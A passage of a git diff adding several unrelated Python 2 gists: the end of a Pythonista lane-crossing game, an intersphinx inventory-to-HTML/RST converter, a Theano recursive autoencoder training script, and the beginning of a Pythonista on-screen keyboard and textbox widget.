+		self.splat = splat()
+		self.splash = splash()
+		pos = Point(*offset)
+		self.min = Point(*pos)
+		self.start = sidewalk(pos.y, self)
+		px = divw * 16 #Middle tile.
+		self.player = player(Point(px, pos.y), self)
+		pos.y += streeth
+
+		def makelane(i):
+			###Local function to create a lane.
+			l = street(pos.y, self, (i & 1) == 0)
+			pos.y += streeth #Adjust y by lane height.
+			return l
+
+		def makestream(i):
+			###Local function to create a stream.
+			s = stream(pos.y, self, (i & 1))
+			s.setimage('PC_Water_Block')
+			pos.y += streeth #Adjust y by stream height.
+			return s
+
+		self.lanes = [makelane(i) for i in xrange(6)]
+		self.middle = sidewalk(pos.y, self)
+		pos.y += streeth
+		self.middle.setimage('PC_Grass_Block')
+		self.streams = [makestream(i) for i in xrange(6)]
+		self.streams.reverse()
+		self.end = sidewalk(pos.y, self)
+		self.badguy = badguy(pos.y, self)
+		self.target = target()
+		pos.y += streeth
+		pos.x = self.bounds.w
+		self.max = Point(*pos)
+		pos.y += 5 #Score is up 5 pixels.
+		pos.x = self.bounds.left()
+		self.scorepos = Point(*pos)
+		pos.x = self.bounds.right() - 100 #Tries are in 100 pixels from right.
+		self.trypos = Point(*pos)
+		self.reset()
+
+	###Return false.
+	def should_rotate(self, rot): return False
+
+	def settarget(self):
+		###Set target to random position on sidewalk at top of screen.
+		self.target.setpos(Point(random() * (self.size.w - sidewalkw * 2) + sidewalkw, self.end.frame.y))
+
+	def reset(self):
+		###Reset the game.
+		self.finished = False
+		self.cardelay = cardelay[1]
+		self.floatdelay = floatdelay[0]
+		self.startcar()
+		self.startfloater()
+		self.settarget()
+
+	def newvelocities(self):
+		###Set new velicities for street and streams.
+		for s in self.streams:
+			s.setspeed()
+		for l in self.lanes:
+			l.setspeed()
+		self.badguy.setspeed()
+
+	def startfloater(self):
+		###Start a random floater.
+		inds = range(0, len(self.streams))
+		shuffle(inds)
+		for i in inds: #Try each stream until a floater started.
+			if self.streams[i].startfloater():
+				break
+		#Restart the delay timer.
+		self.delay(self.floatdelay, self.startfloater)
+
+	def startcar(self):
+		###Start a random car.
+		inds = range(0, len(self.lanes))
+		shuffle(inds)
+		for i in inds: #Try each lane until a car is started.
+			if self.lanes[i].startcar():
+				break
+		#Restart the delay timer.
+		self.delay(self.cardelay, self.startcar)
+
+	def movedir(self, pos):
+		###calculate movement direction.
+		pos.x -= self.tstart.x
+		pos.y -= self.tstart.y
+		ax = abs(pos.x)
+		ay = abs(pos.y)
+		if ax > ay :
+			return Point(sgn(pos.x), 0)
+
+		return Point(0, sgn(pos.y))
+
+	def success(self):
+		###Player reached target.
+		self.player.finished()
+		self.newvelocities()
+		self.settarget()
+		self.cardelay = max(cardelay[0], self.cardelay - cardelay[2])
+		self.floatdelay = min(floatdelay[1], self.floatdelay + floatdelay[2])
+
+	def update(self):
+		###Update scene.
+		rct = Rect(*self.player.frame)
+		rct.x += 8 #Adjust player rectangle used for collision detection.
+		rct.w -= 16
+		rct.y += 8
+		rct.h -= 16
+		b = False
+		#Update cars.
+		for l in self.lanes:
+			l.update(self.dt)
+		#Update streams.
+		for s in self.streams:
+			s.update(self.dt)
+		#Check collision with cars.
+		for l in self.lanes:
+			if l.collide(rct): #If collision draw splat and reset player.
+				b = True
+				self.splat.set(self.player.getpos())
+				self.player.hit()
+				break
+		#If no collision check streams.
+		if not self.player.moving: #Only check support if not jumping.
+			if not b:
+				self.player.supported = None #Clear support.
+				#Check floaters in streams for support.
+				for s in self.streams:
+					b, cl = s.collide(rct)
+					if b: #If on a stream.
+						if cl: #If a support object.
+							self.player.supported = cl
+						else: #No support so we sink.
+							self.player.sink()
+						break
+
+			#If didn't collide.
+			if not b:
+				if self.target.collide(rct):
+					self.success() #At target.
+				elif self.badguy.collide(rct):
+					self.player.hit() #Caught by badguy.
+
+		self.badguy.update(self.dt)
+		self.splat.update(self.dt)
+		self.splash.update(self.dt)
+
+	def drawscore(self):
+		###Draw the score strings.
+		tint(1,1,0,1)
+		text('score: ' + str(self.player.score), 'Copperplate-Bold', fontsize, *self.scorepos.as_tuple(), alignment=9)
+		text('tries: ' + str(self.player.tries), 'Copperplate-Bold', fontsize, *self.trypos.as_tuple(), alignment=7)
+
+	def draw(self):
+		# This will be called for every frame (typically 60 times per second).
+		self.root_layer.update(self.dt)
+		self.update()
+		background(0,0,0)
+
+		self.end.draw()
+
+		for l in self.streams: l.draw()
+		self.middle.draw()
+		for l in self.lanes: l.draw()
+
+		self.splash.draw()
+		self.badguy.draw()
+		self.target.draw()
+
+		self.splat.draw()
+		#Draw cars after splat
+		for l in self.lanes: l.drawcars()
+
+		self.start.draw()
+		self.root_layer.draw()
+		self.drawscore()
+
+	###Handle touch begin event.
+	def touch_began(self, touch): self.tstart = touch.location
+
+	def touch_ended(self, touch):
+		#Handle touch end event.
+		if self.finished :
+			self.reset()
+		else: #Calculate swipe direction and move player.
+			d = self.movedir(touch.location)
+			self.player.moveit(d)
+
+run(MyScene(), LANDSCAPE)
+
diff --git a/hard-gists/4118456/._snippet.py b/hard-gists/4118456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4118456/._snippet.py differ
diff --git a/hard-gists/4118456/snippet.py b/hard-gists/4118456/snippet.py
new file mode 100644
index 00000000..a0124a18
--- /dev/null
+++ b/hard-gists/4118456/snippet.py
@@ -0,0 +1,155 @@
+#!/usr/bin/env python
+""" Process URL for intersphinx targets and emit html or text """
+
+def validuri(string):
+   return string
+
+from sphinx.ext.intersphinx import read_inventory_v2
+from posixpath import join
+import pprint
+import argparse
+import locale
+import os,sys,tempfile
+import urllib2
+
+
+parser = argparse.ArgumentParser(description='Process intersphinx link library')
+
+parser.add_argument('--url' , type=validuri, help="URL to retrieve objects.inv from")
+parser.add_argument('--file' , help="objects.inv format file")
+
+group = parser.add_mutually_exclusive_group(required=False)
+
+group.add_argument('--html', action='store_true', help="Output HTML")
+group.add_argument('--terse', action='store_true', help="Output terse text list")
+group.add_argument('--rst', action='store_true', help="Output ReStructuredText")
+group.add_argument('--rewrite', action='store_true', help="Output short form and correct form of each link.")
+
+
+args = parser.parse_args()
+
+def start_role(role):
+	if (args.terse):
+		return
+	elif (args.rewrite):
+		return
+	elif (args.rst):
+		print role
+	else:
+		print "<dt>Role: {}</dt>\n<dd>\n<dl>\n".format(role)
+
+def start_item(role,item):
+	if (args.terse):
+		return
+	elif (args.rewrite):
+		return
+	elif (args.rst):
+		print "\t:{}:{}:".format(role,item)
+	elif (args.html):
+		print "<dt>{}:{}</dt>\n".format(role,item)
+		print "<dd>"
+		print "<table>\n<tbody>"
+		
+def end_item(role,item):
+	if (args.html):
+		print "</tbody></table>"
+		print "</dd>\n"
+
+def print_link(role,item,domain,title):
+	"""Return the correct link form, if no title then extended form."""
+
+	domain = domain.lower()
+	if (title == '')|(title=='-'):
+		linkStr = ":{}:`{} <{}:{}>`".format(role,item,domain,item)
+	else:
+		linkStr = ":{}:`{}:{}`".format(role,domain,item)
+	
+	if (args.terse):
+		print linkStr
+	if (args.rewrite):
+		print ":{}:`{}:{}`".format(role,domain,item), "\t{}".format(linkStr)
+	elif (args.rst):
+		print "\t\t:Link:\t{}".format(linkStr)
+	elif (args.html):
+		print "<tr><th>Link:</th><td>{}</td></tr>".format(linkStr)		
+
+def end_role():
+	if (args.html):
+		print "</dl>\n"
+		print "</dd>\n"
+		
+def print_meta(role,item,domain,version,url,title):
+	if (args.terse):
+		return
+	elif (args.rewrite):
+		return
+	elif (args.rst):
+		print "\t\t:Domain:\t{}".format(domain)
+		print "\t\t:Version:\t{}".format(version)
+		print "\t\t:URL:\t{}".format(url)
+		print "\t\t:Title:\t{}".format(title)
+	elif (args.html):
+		print "<tr><th>Domain:</th><td>{}</td></tr>".format(domain)
+		print "<tr><th>Version:</th><td>{}</td></tr>".format(version)
+		print "<tr><th>URL:</th><td>{}</td></tr>".format(url)
+		print "<tr><th>Title:</th><td>{}</td></tr>".format(title)
+	return
+
+def fetch_data(url,inv):
+
+	f = open(inv, 'rb')
+	line = f.readline() # burn a line
+	invdata = read_inventory_v2(f, url, join)
+	if (args.html):
+		print "<dl>"
+	for role in invdata:
+		start_role(role)
+		for item in invdata[role]:
+			(domain, version, url, title) = invdata[role][item]
+			#sys.stderr.write("{}:{} :: {}\n".format(role,item,invdata[role][item]))
+			start_item(role,item)
+			print_link(role,item,domain,title)
+			print_meta(role,item,domain,version,url,title)
+			end_item(role,item)
+		if (args.html):
+			print "</dl>\n"
+	
+if __name__ == "__main__":
+
+	if (args.file):
+		inv = args.file
+#		if os.path.exists(inv) == False:
+#			raise Exception('File "{}" does not exist'.format(inv))
+	else:
+		inv = False
+	if (args.url):
+		url = args.url			
+	else:
+		url = False
+		
+	
+	# sys.stderr.write('URL({}) FN({})\n'.format(url,fn))
+		
+	if (inv == False) & (url == False):
+		raise Exception("need to specify a file or URL")
+   
+	if (inv != False ) & (url != ''):
+		#sys.stderr.write("Reading from: {}\n".format(inv))
+		#sys.stderr.write("Using: {} as base HREF\n".format(url))
+		fetch_data(url,inv)
+	elif (url != False):
+		# fetch URL into inv
+		#sys.stderr.write("Retrieving objects.inv from {}\n".format(url))
+		if (url.rfind('objects.inv')>5):
+			invdata = urllib2.urlopen(url)
+		else:
+			invdata = urllib2.urlopen(url + '/objects.inv')
+		sys.stderr.write('URL resolved to: {}\n '.format(invdata.geturl()))
+		#print invdata.read()
+		f = tempfile.NamedTemporaryFile()
+		f.write(invdata.read())
+		sys.stderr.write("objects.inv written to: {}\n".format(f.name))
+		sys.stderr.write("Using: {} as base HREF\n".format(url))
+		fetch_data(url,f.name)
+	else:
+		raise Exception("You need to specify a --URL")
\ No newline at end of file
diff --git a/hard-gists/4119191/._snippet.py b/hard-gists/4119191/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4119191/._snippet.py differ
diff --git a/hard-gists/4119191/snippet.py b/hard-gists/4119191/snippet.py
new file mode 100644
index 00000000..5f420216
--- /dev/null
+++ b/hard-gists/4119191/snippet.py
@@ -0,0 +1,225 @@
+import theano
+import theano.tensor as T
+import numpy as np
+import cPickle as pickle
+#theano.config.compute_test_value = 'warn'
+
+class Meta(object):
+
+    def __init__(self):
+
+        self.activation = T.nnet.sigmoid
+        self.rng = np.random.RandomState(1234)
+
+        vocab_size = 25000
+        self.n_in = 100
+        self.n_hidden = 100
+
+        """
+        Initialising weights for variables
+        """
+        r = np.sqrt(6. / (self.n_in + self.n_hidden))
+        if self.activation == T.nnet.sigmoid:
+            r *= 4
+
+        self.We   = theano.shared(value=np.asarray(self.rng.uniform(low=-r,high=r,size=(vocab_size, self.n_in)), dtype=theano.config.floatX),name='We')
+        self.W12  = theano.shared(value=np.asarray(self.rng.uniform(low=-r,high=r,size=(2 * self.n_in, self.n_hidden)), dtype=theano.config.floatX),name='W12')
+        self.W34  = theano.shared(value=np.asarray(self.rng.uniform(low=-r,high=r,size=(self.n_hidden, 2 * self.n_in)), dtype=theano.config.floatX),name='W34')
+        self.b1   = theano.shared(value=np.zeros((self.n_hidden,),dtype=theano.config.floatX),name='b1')
+        self.b23  = theano.shared(value=np.zeros((2 * self.n_in,),dtype=theano.config.floatX),name='b23')
+
+        self.W12grad  = theano.shared(value=np.zeros((2 * self.n_in, self.n_hidden), dtype=theano.config.floatX),name='W12grad')
+        self.W34grad  = theano.shared(value=np.zeros((self.n_hidden, 2 * self.n_in), dtype=theano.config.floatX),name='W34grad')
+        self.b1grad   = theano.shared(value=np.zeros((self.n_hidden,),dtype=theano.config.floatX),name='b1grad')
+        self.b23grad  = theano.shared(value=np.zeros((2 * self.n_in,),dtype=theano.config.floatX),name='b23grad')
+
+    def resetGradients(self):
+
+        self.W12grad  = theano.shared(value=np.zeros((2 * self.n_in, self.n_hidden), dtype=theano.config.floatX),name='W12grad')
+        self.W34grad  = theano.shared(value=np.zeros((self.n_hidden, 2 * self.n_in), dtype=theano.config.floatX),name='W34grad')
+        self.b1grad   = theano.shared(value=np.zeros((self.n_hidden,),dtype=theano.config.floatX),name='b1grad')
+        self.b23grad  = theano.shared(value=np.zeros((2 * self.n_in,),dtype=theano.config.floatX),name='b23grad')
+
+    def getTreeDict(self,sent_length):
+        ae = {}
+        cb = {}
+
+        counter = 0
+
+        for i in xrange(0,sent_length):
+            cb[(i,1)] = counter
+            counter += 1
+
+        for p_length in xrange(2,sent_length+1):
+            for p_left in xrange(0,sent_length - p_length + 1):
+                for p_split in xrange(p_left+1, p_left+p_length):
+                    ae[(p_left,p_length,p_split)] = counter
+                    counter += 1
+                cb[(p_left,p_length)] = counter
+                counter += 1
+
+        return counter,ae,cb
+
+    def sharedForwardProp(self,data,sent_length,ae,cb):
+
+        W = self.Winternal
+        # Put sentence data into the bottom cb layer
+        for i in xrange(0,sent_length):
+            self.initAE(cb[(i,1)],data[i].eval())
+
+        # propagate everything up
+        for p_length in xrange(2,sent_length+1):
+            for p_left in xrange(0,sent_length - p_length + 1):
+                comb_children = []
+                for p_split in xrange(p_left+1, p_left+p_length):
+                    """
+                    Forward Propagate autoencoders
+                    """
+                    y = self.get_shr_enc( ae[(p_left,p_length,p_split)], cb[(p_left,p_split-p_left)], cb[(p_split,p_length+p_left-p_split)])
+                    comb_children.append(y)
+                """
+                Forward Propagate combinator
+                """
+                self.set_combined( cb[(p_left,p_length)], np.vstack(comb_children))
+
+    def backPropAndCost(self,sent_length,ae,cb):
+
+        # CrossEntropy Error at the label level (tree root)
+        self.deltas[cb[(0,sent_length)]] = 0
+
+        for p_length in xrange(sent_length,1,-1):
+            for p_left in xrange(sent_length - p_length,-1,-1):
+                """
+                nothing to do here. my children can pick up my delta easily
+                \eta_k &= \sum_{p \in \text{Downstream}} w_{pk} \delta_{p} \\
+                
+                child_delta = weight * (own_delta)
+                as weights are shared, we can already multiply them inside the delta matrix
+                """
+                for p_split in xrange(p_left+p_length-1,p_left,-1):
+
+                    # \delta_{ks} &= o_{ks} (1 - o_{ks}) \left(\eta_k + \delta_{\text{rec}} w_{\text{rec}}\right) \\
+
+                    # Get eta from parent combinator
+                    delta_tree = self.deltas[cb[(p_left,p_length)]]
+
+                    # Add reconstruction error
+                    # \delta_{\text{rec}} &= - (r_\text{rec} - o_\text{rec}) (1 - o_\text{rec}) o_\text{rec} * ?
+                    # reconstruction_delta = (my_input - my_reconstruction) (-rec) (1-rec)
+                    my_input = T.concatenate([self.Winternal[cb[(p_left,p_split-p_left)],:],self.Winternal[cb[(p_split,p_left+p_length-p_split)],:]],axis=0)
+                    my_reconstruction = T.dot(self.Winternal[ae[(p_left,p_length,p_split)],:],self.W34) + self.b23
+                    reconstruction_error = (my_input - my_reconstruction)
+                    self.error += T.sum(T.sqr(reconstruction_error))
+                    reconstruction_delta = reconstruction_error * (- my_reconstruction) * (1 - my_reconstruction)
+
+                    self.W34grad += T.outer(self.Winternal[ae[(p_left,p_length,p_split)]],reconstruction_delta)
+                    self.b23grad += reconstruction_delta
+
+                    reconstruction_error = T.sum(self.W34 * reconstruction_delta,axis=1)
+
+                    delta_combined = delta_tree + reconstruction_error
+
+                    # Now, multiply with o_ks (1 - o_ks) [ which is my embedding ]
+                    delta_combined *= np.multiply((1 - self.Winternal[ae[(p_left,p_length,p_split)]]),self.Winternal[ae[(p_left,p_length,p_split)]]) #.eval()
+                    
+                    z = T.outer(delta_combined,my_input)
+                    self.W12grad += T.outer(my_input,delta_combined)
+                    self.b1grad += delta_combined
+                    
+                    delta_p = np.sum(delta_combined * self.W12,axis=1)
+                    #print delta_p.eval().shape
+
+                    ## give delta to my specific children: [0,3,1] gives to [0,1] and [1,2]. 
+                    self.deltas[cb[(p_left,p_split-p_left)]] += delta_p[:(self.n_hidden)].eval()
+                    self.deltas[cb[(p_split,p_left+p_length-p_split)]] += delta_p[(self.n_hidden):].eval()
+                   
+                    print "."
+
+
+
+    def run(self):
+
+            """
+            Loading Data
+            """
+            print "loading data ..."
+            data_shape = 100 * 50 # sentences x words/sentence
+            data = theano.shared(value=np.zeros(data_shape, dtype=np.int32))
+
+            data_np = np.zeros(data_shape, dtype=np.int32)
+            len_np = np.zeros(100, dtype=np.int32)
+            data_loc = "../../data/movies"
+            f = open("%s/data.pkl"%data_loc)
+            data_list, classes = pickle.load(f), pickle.load(f)
+            for sent in xrange(0,99):
+                for word in xrange(0,min(50,len(data_list[sent]))):
+                    data_np[sent*50+word] = data_list[sent][word]
+                    len_np[sent] = min(50,len(data_list[sent]))
+            data.set_value(np.concatenate([x.ravel() for x in (data_np)]))
+            data = data.reshape((100,50))
+            print "... done"
+
+            m = 0
+            for sentence in xrange(0,45):
+                counter,a,c = self.getTreeDict(len_np[sentence])
+                if counter > m: m = counter
+
+            print "creating data ..."
+            self.Winternal = theano.shared(value=np.zeros((m,self.n_hidden),dtype=theano.config.floatX),borrow=True)
+            self.deltas = np.zeros((m,self.n_hidden),dtype=theano.config.floatX)
+            print ".. done"
+
+            self.A = T.vector()
+            self.B = T.vector()
+            self.b = T.lscalar()
+            self.a = T.lscalar()
+            self.y = T.scalar(dtype='int32')
+            self.x = T.scalar(dtype='int32')
+
+            self.C = T.matrix()
+            self.cb_shared_combinator = T.mean(self.C,axis=0)
+            #self.get_shr_comb       = theano.function([self.C],self.cb_shared_combinator)
+
+            self.set_combined = theano.function([self.a,self.C], [],
+                                            updates={self.Winternal: T.set_subtensor(self.Winternal[self.a],self.cb_shared_combinator)})
+
+            self.cb_shared_encoding = self.activation(T.dot(T.concatenate([self.A,self.B]),self.W12) + self.b1)
+
+            self.get_shr_enc    = theano.function([self.a, self.x,self.y],self.cb_shared_encoding,on_unused_input='warn',
+                                            givens={self.A: self.Winternal[self.x,:],
+                                                    self.B: self.Winternal[self.y,:]},
+                                            updates={self.Winternal: T.set_subtensor(self.Winternal[self.a,:],self.cb_shared_encoding)})
+
+
+            self.initAE = theano.function([self.a,self.b], [], updates={self.Winternal: T.set_subtensor(self.Winternal[self.a,:], self.We[self.b])}) 
+
+            for sentence in xrange(0,45):
+                print "Length %d" % len_np[sentence]
+                counter,a,c = self.getTreeDict(len_np[sentence])
+                print "Counter %d" % counter
+                print "forward prop: learning outputs and encoding %d" % sentence
+                self.sharedForwardProp(data[sentence],len_np[sentence],a,c)
+                print "backprop: accumulating deltas and error"
+                self.resetGradients()
+                self.error = 0
+                self.backPropAndCost(len_np[sentence],a,c)
+                print "Errors", self.error.eval()
+                print "Updating W12"
+                print self.W12.eval().shape
+                print self.W12grad.eval().shape
+                self.W12 = self.W12 - 0.1 * self.W12grad
+                print self.W12.eval().shape
+                print "done"
+                self.W34 = self.W34 - 0.1 * self.W34grad
+                self.b1 = self.b1 - 0.1 * self.b1grad
+                self.b23 = self.b23 - 0.1 * self.b23grad
+
+                self.resetGradients()
+                self.error = 0
+                self.backPropAndCost(len_np[sentence],a,c)
+                print "Errors", self.error.eval()
+                
+
+
+meta = Meta()
+meta.run()
\ No newline at end of file
diff --git a/hard-gists/4121343/._snippet.py b/hard-gists/4121343/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4121343/._snippet.py differ
diff --git a/hard-gists/4121343/snippet.py b/hard-gists/4121343/snippet.py
new file mode 100644
index 00000000..6d05fd26
--- /dev/null
+++ b/hard-gists/4121343/snippet.py
@@ -0,0 +1,382 @@
+# -*- coding: utf-8 -*-
+from scene import *
+from time import time
+from copy import deepcopy
+from PIL import Image, ImageDraw, ImageFont
+
+
+global EventQ
+
+def p_click():
+	print('Klick!')
+
+def focus_true():
+	return True 
+
+class Event():
+	def setup(self, msg_type,msg=None,obj=None):
+		self.msg_type = msg_type
+		self.msg = msg
+		self.obj = obj
+	
+class Events():
+	def __init__(self):
+		self.listeners = []
+	def add_listener(self, listener):
+		self.listeners.append(listener)
+	def pass_event(self, event):
+		print event.msg_type
+		for listener in self.listeners:
+			listener(event)
+		del event
+
+class TextBuffer():
+	def __init__(self, callback=None, got_focus=focus_true):
+		self.text = ''
+		self.max_len = 50
+		self.font_name = 'Helvetica'
+		self.font_size = 32.0
+		self.text_img = None
+		self.text_img_s = None
+		self.type_callback = callback
+		self.got_focus = got_focus
+		self.color = Color(0,0,0)
+	def input_char(self, char):
+		if char=='backspace':
+			self.text=self.text[:-1]
+		elif char == 'mode' or char == 'return':
+			pass
+		elif len(self.text) < self.max_len:
+			self.text += char
+		if self.text_img:
+			del self.text_img
+			del self.text_img_s
+
+		self.text_img, self.text_img_s = render_text(self.text, font_name=self.font_name, font_size=self.font_size)
+		
+		if self.type_callback:
+			self.type_callback()
+		
+	def event_listener(self, e):
+		if self.got_focus():
+			if e.msg_type == 'KeyPress':
+				self.input_char(e.msg)
+
+class EmptyLayer(Layer):
+	def __init__(self, frame):
+		super(EmptyLayer, self).__init__(frame)
+	def touch_began(self, touch):
+		if self.superlayer:
+			self.superlayer.touch_began(touch)
+		
+	def touch_ended(self, touch):
+		if self.superlayer:
+			self.superlayer.touch_ended(touch)
+		
+	def touch_moved(self, touch):
+		if self.superlayer:
+			self.superlayer.touch_moved(touch)
+
+class ScrollLayer(Layer):
+	def __init__(self, frame, sublayer, orientation_y = True):
+		super(ScrollLayer, self).__init__(frame)
+		self.orientation_y = orientation_y
+		self.sub_layer = None
+		self.stroke=Color(0,0,0)
+		self.stroke_weight = 1
+		self.set_layer(sublayer)
+		self.cover1 = None 
+		self.cover2 = None 
+	def scrollTo(self, xy):
+		if xy < 0:
+			self.scrollTo(0)
+		elif xy > self.scroll_range:
+			self.scrollTo(self.scroll_range)
+		else:
+			self.scroll_pos = xy
+			if self.orientation_y:
+				self.sub_layer.frame.y = self.frame.h -self.sub_layer.frame.h + xy
+			else:
+				self.sub_layer.frame.x = self.frame.w -self.sub_layer.frame.w + xy
+	def scrollBy(self, dy):
+		self.scrollTo(self.scroll_pos + dy)
+	def touch_moved(self, touch):
+		if self.orientation_y:
+			self.scrollBy((touch.location.y - touch.prev_location.y))
+		else:
+			self.scrollBy((touch.location.x - touch.prev_location.x))
+		self.superlayer.touch_moved(touch)
+	def set_layer(self, sublayer):
+		if self.sub_layer:
+			self.sub_layer.remove_layer()
+		self.sub_layer = sublayer
+		self.add_layer(self.sub_layer)
+		# zero when upper left corners match
+		if self.orientation_y:
+			scroll_range = self.sub_layer.frame.h - self.frame.h
+		else:
+			scroll_range = self.sub_layer.frame.w - self.frame.w
+		if scroll_range < 0: scroll_range = 0
+		self.scroll_range = scroll_range
+		self.scroll_pos = scroll_range
+		
+		if self.sub_layer.frame.h > self.frame.h or self.sub_layer.frame.w > self.frame.w:
+			if self.orientation_y:
+				self.cover1 = Layer(Rect(0, self.frame.h+1, self.frame.w, self.sub_layer.frame.h))
+				self.cover2 = Layer(Rect(0, 0, self.frame.w, 0-self.sub_layer.frame.h))
+			else:
+				self.cover1 = Layer(Rect(0-1, 0, 0-self.sub_layer.frame.w, self.sub_layer.frame.h))
+				self.cover2 = Layer(Rect(self.frame.w+1, 0, self.sub_layer.frame.w, self.sub_layer.frame.h))
+			self.cover1.tint = Color(1,1,1)
+			self.cover1.background = Color(0,0,0)
+			self.add_layer(self.cover1)
+			self.cover2.tint = Color(1,1,1)
+			self.cover2.background = Color(0,0,0)
+			self.add_layer(self.cover2)
+			self.scrollTo(0)
+	def touch_began(self, touch):
+		self.superlayer.touch_began(touch)
+	def touch_ended(self, touch):
+		self.superlayer.touch_ended(touch)
+	def event_listener(self, e):
+		if e.msg_type == 'touch_moved':
+			if self.frame.intersects(Rect(e.obj.location.x, e.obj.location.y, 1,1)):
+				self.touch_moved(e.obj)
+	
+class Textbox(ScrollLayer):
+	def __init__(self, frame):
+		super(Textbox, self).__init__(frame, Layer(Rect(0,0,1,1)), orientation_y = False)
+		img = Image.new('RGBA',(frame.w,frame.h), 'grey')
+		draw = ImageDraw.Draw(img)
+		draw.rectangle((1,1, frame.w-2, frame.h-2), outline=256)
+		del draw
+		self.il = load_pil_image(img)
+		self.image = load_pil_image(img)
+		self.txtbf = TextBuffer(self.load_new_text, self.got_focus)
+		EventQ.add_listener(self.txtbf.event_listener)
+		self.textlayer = Layer(Rect(0,0,10,10)) 
+		self.focus = False
+		self.last_touch = 0
+		self.last_click = 0
+	def got_focus(self):
+		return self.focus
+	def load_new_text(self):
+		if self.textlayer:
+			self.remove_layer(self.textlayer)
+		self.textlayer = EmptyLayer(Rect(10,5,self.txtbf.text_img_s.w, self.txtbf.text_img_s.h))
+		self.textlayer.tint = self.txtbf.color
+		self.textlayer.image=self.txtbf.text_img
+		self.set_layer(self.textlayer)
+	def touch_ended(self, touch):
+		if time() - self.last_touch < 0.2:
+			# click
+			if self.frame.intersects(Rect(touch.location.x, touch.location.y, 1,1)):
+				if self.focus == False:
+					self.focus = True
+					e = Event()
+					e.setup('input_focus','',self)
+					EventQ.pass_event(e)
+		self.superlayer.touch_ended(touch)
+	def touch_began(self, touch):
+		self.last_touch = time()
+		self.superlayer.touch_began(touch)
+	def touch_moved(self, touch):
+		self.last_touch = 0 # cancel click
+		super(Textbox,self).touch_moved(touch)
+		self.superlayer.touch_moved(touch)
+			
+
+class RootLayer(Layer):
+	def __init__(self, the_scene, frame):
+		super(RootLayer, self).__init__(frame)
+		self.the_scene = the_scene
+	def touch_began(self, touch):
+		self.the_scene.touch_began(touch)
+		
+	def touch_ended(self, touch):
+		self.the_scene.touch_ended(touch)
+		
+	def touch_moved(self, touch):
+		self.the_scene.touch_moved(touch)
+
+class KbdLayer(Layer):
+	def __init__(self, frame):
+		super(KbdLayer, self).__init__(frame)
+		self.row_keys = []
+		self.n_row_keys = []
+		self.setup_keys()
+		self.shift = False
+		self.direct_input = None
+		self.keyboard, self.kb_size = self.load_keyboard()
+		self.num_keyboard, self.n_kb_size = self.load_num_keyboard()
+		self.frame = Rect(self.frame.x, self.frame.y, 320, 240)
+		self.background = Color(0, 0, 0)
+		self.image = self.keyboard
+		self.mode = 0 # 0: letters. 1: numbers
+	def setup_keys(self):
+		row1_keys = ['q','w','e','r','t','y','u','i','o','p']
+		self.row_keys.append(row1_keys)
+		row2_keys = ['a','s','d','f','g','h','j','k','l']
+		self.row_keys.append(row2_keys)
+		row3_keys = ['shift','z','x','c','v','b','n','m','backspace']
+		self.row_keys.append(row3_keys)
+		row4_keys = ['mode','space','return']
+		self.row_keys.append(row4_keys)
+		n_row1_keys = ['1','2','3','4','5','6','7','8','9','0']
+		self.n_row_keys.append(n_row1_keys)
+		n_row2_keys = ['-','/',':',';','(',')','$','&','@','"']
+		self.n_row_keys.append(n_row2_keys)
+		n_row3_keys = ['#+=','.',',','?','!',"'",'backspace']
+		self.n_row_keys.append(n_row3_keys)
+		n_row4_keys = ['mode','space','return']
+		self.n_row_keys.append(n_row4_keys)
+	def load_keyboard(self):
+		kb_filename = "kbd.png"
+		kb_image = load_image_file(kb_filename)
+		return [kb_image, Image.open(kb_filename).size]
+	def load_num_keyboard(self):
+		kb_filename = "nkbd.png"
+		kb_image = load_image_file(kb_filename)
+		return [kb_image, Image.open(kb_filename).size]
+	def touch_began(self, touch):
+		self.last_touch = time()
+		self.superlayer.touch_began(touch)
+		
+	def touch_ended(self, touch):
+		if time() - self.last_touch < 0.2:
+			char = ''
+			if self.mode == 0: # The alfabetical keyboard
+				if touch.location.y > 156:
+					i = int(touch.location.x / 32)
+					char = self.row_keys[0][i]
+					if self.shift:
+						char= char.upper()
+						self.shift = False 
+				elif touch.location.y > 104 and touch.location.y < 146:
+					i = int((touch.location.x - 16)/ 32)
+					if i > -1 and i < 9:
+						char = self.row_keys[1][i]
+						if self.shift:
+							char= char.upper()
+							self.shift = False 
+				elif touch.location.y > 52 and touch.location.y < 93:
+					if touch.location.x < 41:
+						if self.shift:
+							self.shift = False
+						else:
+							self.shift = True
+						pass
+					elif touch.location.x > 280:
+						char = 'backspace'
+					else:
+						i = int((touch.location.x - 48)/ 32)
+						if i > -1 and i < 8:
+							char = self.row_keys[2][i]
+							if self.shift:
+								char= char.upper()
+								self.shift = False 
+				elif touch.location.y < 41:
+					if touch.location.x < 79:
+						self.mode = 1
+						self.image = self.num_keyboard
+					elif touch.location.x < 240:
+						char = ' '
+					else: 
+						char = 'return'
+			elif self.mode == 1: # Numerical keyboard
+				if touch.location.y > 156:
+					i = int(touch.location.x / 32)
+					char = self.n_row_keys[0][i]
+				elif touch.location.y > 104 and touch.location.y < 146:
+					i = int(touch.location.x / 32)
+					char = self.n_row_keys[1][i]
+				elif touch.location.y > 52 and touch.location.y < 93:
+					if touch.location.x < 41:
+						pass # The advanced keyboard, to be implemented
+					elif touch.location.x > 280:
+						char = 'backspace'
+					else:
+						i = int((touch.location.x - 56)/ 40)
+						if i > -1 and i < 6:
+							char = self.n_row_keys[2][i]
+				elif touch.location.y < 41:
+					if touch.location.x < 79:
+						self.mode = 0
+						self.image = self.keyboard
+					elif touch.location.x < 240:
+						char = ' '
+					else: 
+						char = 'return'
+
+			if len(char) > 0:
+				if self.direct_input:
+					self.direct_input(char)
+				else:
+					e = Event()
+					e.setup('KeyPress', char)
+					EventQ.pass_event(e)
+		self.superlayer.touch_ended(touch)
+	def touch_moved(self, touch):
+		self.superlayer.touch_moved(touch)
+
+
+class MyScene (Scene):
+	def setup(self):
+		self.touch_start_t = -1
+		self.touch_start = Touch(0,0,0,0,0)
+		self.hold_timeout = 0
+		self.root_layer = RootLayer(self, self.bounds)
+		center = self.bounds.center()
+		self.kbd_visible = False  
+		self.klayer = KbdLayer(Rect(0, 0, 1,1))
+		self.input_focus = None 
+		#self.root_layer.add_layer(self.klayer)
+		self.tbox = Textbox(Rect(self.bounds.w/2-125,self.bounds.h*.75-25,250,50))
+		self.root_layer.add_layer(self.tbox)
+		EventQ.add_listener(self.tbox.event_listener)
+		EventQ.add_listener(self.event_listener)
